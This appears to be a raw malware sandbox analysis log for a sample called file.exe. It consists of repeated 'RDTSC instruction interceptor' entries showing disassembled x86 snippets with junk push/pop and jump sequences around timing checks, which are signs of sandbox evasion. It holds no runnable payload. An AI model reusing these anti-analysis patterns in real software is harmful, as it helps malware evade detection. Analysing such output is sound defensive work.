Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698177 second address: 698182 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F7C2525D0C6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 698182 second address: 698194 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FDh 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69996F second address: 699974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E5F3 second address: 69E5FD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7C252749F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69E5FD second address: 69E61F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007F7C2525D0D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEF9C second address: 6AEFAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F7C252749F6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFAC second address: 6AEFB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFB2 second address: 6AEFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F7C252749FCh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFC5 second address: 6AEFCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFCB second address: 6AEFDE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F7C252749F6h 0x00000008 js 00007F7C252749F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEFDE second address: 6AEFF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F7C2525D0C6h 0x0000000a jmp 00007F7C2525D0CDh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6AEE04 second address: 6AEE0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A7FC5 second address: 6A7FF2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F7C2525D0D2h 0x0000000b pushad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f jng 00007F7C2525D0C6h 0x00000015 jnc 00007F7C2525D0C6h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BC038 second address: 6BC042 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F7C252749F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBD4D second address: 6BBD70 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F7C2525D0C8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F7C2525D0D5h 0x00000012 jmp 00007F7C2525D0CDh 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6BBD70 second address: 6BBD93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F7C25274A09h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D415A second address: 6D4176 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jnl 00007F7C2525D0C6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d jmp 00007F7C2525D0CDh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4176 second address: 6D418C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a js 00007F7C252749F6h 0x00000010 jnl 00007F7C252749F6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8AB7 second address: 6D8AC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8AC3 second address: 6D8AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8B3B second address: 6D8B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8B3F second address: 6D8B45 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8CB5 second address: 6D8CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA8F4 second address: 6DA8F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DA4BB second address: 6DA4D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F7C2525D0CDh 0x0000000a pushad 0x0000000b push esi 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DC372 second address: 6DC3B9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7C252749F6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007F7C25274A09h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F7C25274A08h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00ED second address: 4CE00FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C2525D0CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE00FD second address: 4CE0101 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0101 second address: 4CE0127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 jmp 00007F7C2525D0CCh 0x0000000e mov dword ptr [esp], ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F7C2525D0CAh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE0127 second address: 4CE012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE012D second address: 4CE0150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 call 00007F7C2525D0CAh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F7C2525D0CCh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0EC1 second address: 4CC0EFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7C25274A06h 0x00000009 add cx, 8718h 0x0000000e jmp 00007F7C252749FBh 0x00000013 popfd 0x00000014 mov ah, DEh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp], ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0EFA second address: 4CC0EFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0EFE second address: 4CC0F02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0F02 second address: 4CC0F08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0F08 second address: 4CC0F0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0F0E second address: 4CC0F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10124 second address: 4D1013C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C25274A04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1013C second address: 4D10152 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7C2525D0CAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA020A second address: 4CA0218 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C252749FAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0218 second address: 4CA021C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA021C second address: 4CA0239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007F7C252749FFh 0x00000011 pop esi 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C57 second address: 4CC0C5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C5D second address: 4CC0C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C61 second address: 4CC0C79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7C2525D0CBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C79 second address: 4CC0C96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0C96 second address: 4CC0CC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7C2525D0D7h 0x00000008 movzx eax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7C2525D0CDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CC9 second address: 4CC0CCF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CCF second address: 4CC0CE6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0CE6 second address: 4CC0D03 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07A1 second address: 4CC07A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07A5 second address: 4CC07AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07AB second address: 4CC07C1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07C1 second address: 4CC07C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07C6 second address: 4CC07CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07CC second address: 4CC07D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07D0 second address: 4CC07F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ebx, 2F0E1BEEh 0x00000010 mov ch, dh 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F7C2525D0CDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07F3 second address: 4CC07F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC07F9 second address: 4CC07FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0665 second address: 4CC0669 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0669 second address: 4CC066F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC066F second address: 4CC0675 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0675 second address: 4CC06AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7C2525D0D7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06AD second address: 4CC06C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C25274A04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06C5 second address: 4CC06C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC06C9 second address: 4CC0714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F7C252749FEh 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 pop eax 0x00000013 pop edx 0x00000014 pushfd 0x00000015 jmp 00007F7C25274A06h 0x0000001a sbb ah, FFFFFFF8h 0x0000001d jmp 00007F7C252749FBh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 pushad 0x00000027 mov bl, ch 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0714 second address: 4CC0729 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7C2525D0CBh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0729 second address: 4CC0741 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C25274A04h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC0741 second address: 4CC0745 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04C3 second address: 4CC04C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04C8 second address: 4CC04F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx ebx, si 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F7C2525D0D6h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CC04F0 second address: 4CC04F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0272 second address: 4CD02A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7C2525D0D7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02A0 second address: 4CD02C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02C4 second address: 4CD02C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02C8 second address: 4CD02E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C25274A06h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD02E2 second address: 4CD032E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C2525D0CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c pushfd 0x0000000d jmp 00007F7C2525D0CBh 0x00000012 sub esi, 1B4C942Eh 0x00000018 jmp 00007F7C2525D0D9h 0x0000001d popfd 0x0000001e pop esi 0x0000001f pushad 0x00000020 push ebx 0x00000021 pop esi 0x00000022 popad 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD032E second address: 4CD0332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CD0332 second address: 4CD0338 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10011 second address: 4D10017 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10017 second address: 4D1001B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1001B second address: 4D1001F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1001F second address: 4D1002E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1002E second address: 4D10032 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10032 second address: 4D10036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10036 second address: 4D1003C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1003C second address: 4D1007B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7C2525D0D6h 0x00000009 or esi, 12B59BD8h 0x0000000f jmp 00007F7C2525D0CBh 0x00000014 popfd 0x00000015 mov si, 428Fh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov dword ptr [esp], ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov cx, bx 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D1007B second address: 4D10094 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7C25274A05h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D10094 second address: 4D100A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov si, di 0x0000000e push eax 0x0000000f push edx 0x00000010 mov edi, 38D6E098h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE04DD second address: 4CE056A instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 mov eax, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c movsx ebx, cx 0x0000000f mov ebx, eax 0x00000011 popad 0x00000012 and dword ptr [eax], 00000000h 0x00000015 jmp 00007F7C25274A04h 0x0000001a and dword ptr [eax+04h], 00000000h 0x0000001e pushad 0x0000001f call 00007F7C252749FEh 0x00000024 call 00007F7C25274A02h 0x00000029 pop ecx 0x0000002a pop edx 0x0000002b call 00007F7C25274A00h 0x00000030 pushfd 0x00000031 jmp 00007F7C25274A02h 0x00000036 add si, 1858h 0x0000003b jmp 00007F7C252749FBh 0x00000040 popfd 0x00000041 pop esi 0x00000042 popad 0x00000043 pop ebp 0x00000044 push eax 0x00000045 push edx 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE056A second address: 4CE056E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CE056E second address: 4CE057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7C252749FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
